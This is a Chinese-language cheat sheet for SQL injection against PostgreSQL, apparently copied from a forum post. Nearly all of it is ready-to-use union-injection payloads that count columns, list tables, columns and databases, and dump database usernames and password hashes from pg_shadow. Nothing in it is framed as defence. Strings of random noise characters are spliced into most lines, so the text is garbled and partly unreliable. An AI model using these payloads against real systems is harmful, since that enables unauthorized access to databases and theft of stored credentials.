结合了MSSQL MySQL Oracle的一些特点- Q1 ]2 I2 R4 t2 A
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/; ]/ b* L% _0 y. F
连接符: %20 , + , /**/ 内置函数:2 C, a: @" f4 d/ p( B
current_database() //当前数据库名
, D3 z3 }3 o6 }& M0 N3 nsession_user //会话用户
6 \+ b" [; b( ecurrent_user //当前数据库用户9 S6 T6 N4 U+ |. Y- f/ F- e- z
user //当前用户2 M: s4 M' N$ @: g5 j/ c
version() //数据库版本 Union注射:
6 @0 c% e n1 N8 q' Morder by n–
+ a7 O; w- S- o2 W$ S& d2 `) Uand 1=2 union select null,null,null–4 y( W8 X9 s o' U' O) I
and 1=2 union select ‘beach’,null,null–
6 [" [' g, D& j; `4 Z1 land 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
6 D* F& L5 G8 g# Bgroup_concat(table_name)$ I5 A6 o' e `
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
- n& R! L7 j1 q% c: p+ T0 T3 T- `and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
" U A5 `' F) {3 Q: e! }(老版本)2 E/ ?3 {6 G! s& `7 u5 G3 x
pg_class.oid对应pg_attribute.attrelid- l" T2 O' e# [3 O z
pg_class.relname表名
$ `: S; o8 e: j7 a0 v0 ]! [pg_attribute.attname字段名 select relname from pg_class获取表名
& ]% @9 Q O) A6 aselect oid from pg_class where 条件 获取参数9 e% F0 Z2 B" ~8 ^$ M7 o
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:9 J; q5 q% L2 j6 a5 r: [7 q
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
* ]: O& B+ ^" w9 hand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
5 U, Y0 ?/ p' N& B- A由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
, m1 N6 Y, ?# H======================================================================
; u1 N3 x& _% @4 yand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
# M0 O6 O. O4 Z. w2 u1 E' ?and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |